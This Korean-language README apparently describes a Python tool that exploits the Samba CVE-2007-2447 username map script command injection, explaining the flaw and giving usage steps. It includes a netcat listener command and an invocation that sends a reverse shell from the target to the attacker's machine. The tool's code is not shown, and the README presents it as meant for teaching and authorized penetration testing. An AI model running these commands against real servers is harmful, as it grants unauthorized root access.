Samba CVE-2007-2447 익스플로잇 (Username Map Script)

이 저장소는 Samba 서버(버전 3.0.20~3.0.25rc3)에서 CVE-2007-2447 취약점의 악용을 자동화하도록 설계된 Python 스크립트를 포함합니다. 이 도구는 오로지 교육적 목적과 승인된 침투 테스트를 위해 개발되었습니다.

📝 기술·학술적 설명

"Username Map Script" 취약점은 Samba 구성에서 username map script 옵션이 활성화된 경우 사용자 이름 입력에 대한 검증(새니타이제이션)이 부족하여 발생합니다. 셸 메타문자(예: 백틱 ` 또는 하위 셸 $())를 포함하는 사용자 이름을 보내면 서버는 해당 명령을 서비스 권한(종종 root)으로 실행합니다.

🚀 요구 사항

• 운영 체제: Kali Linux / Parrot OS(smbclient가 설치된 모든 Linux)
• 언어: Python 3.x.
• 의존성: smbclient(시스템 PATH에 있어야 함)

🛠️ 설치 및 사용

1. 저장소 클론:
   root@kitploit:~

   git clone [https://github.com/Daviddoctor/Samba-CVE-2007-2447-Exploit-Username-Map-Script-.git]
   cd samba-exploit-cve-2007-2447
   

2. 실행 권한 부여 chmod +x exploit.py
3. Listener 준비 (Kali Linux) nc -lvnp 4444
4. 익스플로잇 실행 ./exploit.py <IP_OBJETIVO> <TU_IP_KALI> -p 4444